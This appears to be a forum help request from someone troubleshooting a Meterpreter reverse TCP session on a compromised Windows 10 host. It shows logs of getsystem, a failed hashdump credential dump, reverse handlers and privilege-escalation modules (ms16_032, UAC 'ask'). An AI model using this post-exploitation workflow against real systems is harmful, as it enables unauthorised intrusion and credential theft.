I am facing a very weird issue. I have successfully popped a box using Shellter with Meterpreter_Reverse TCP.
Here is the sysinfo :
meterpreter > sysinfo Computer : ******** OS : Windows 10 (Build 14393). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 4 Meterpreter : x64/windows
Now the weird thing is when I type :
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
It says that I have get the NT Authority, however when I type :
meterpreter > getprivs ============================================================ Enabled Process Privileges ============================================================ SeAssignPrimaryTokenPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeDebugPrivilege SeImpersonatePrivilege SeSystemProfilePrivilege SeTcbPrivilege
These are just the priviledges that I get. Not all. If I try to use hashdump :
meterpreter > hashdump [-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
Also, I have already migrated to another NT Authority Process, in this case ( svchost.exe )
If I try to run any background local exploit it says that the system is already elevated.
msf exploit(ms16_032_secondary_logon_handle_privesc) > run [*] Started reverse TCP handler on 192.168.0.100:4444 [-] Exploit aborted due to failure: none: Session is already elevated
Also, if I try to use the "ASK" exploit to gain priviledge, this is what happens :
msf exploit(ask) > run [*] Started reverse TCP handler on 192.168.0.100:4444 [+] UAC is not enabled, no prompt for the user [*] Uploading eobKMikmOsnWp.exe - 73802 bytes to the filesystem... [*] Executing Command!
And it just freezes, and no prompt is given on the victims computer.
Also any command I try to run, it just gives me an error stating that I don't have access:
meterpreter > kill 7744 Killing: 7744 [-] stdapi_sys_process_kill: Operation failed: Access is denied.
I am totally lost to understand what exactly is happening here? It says that I have gained the access of the system, but still I am not able to do anything?
Any help would be appreciated.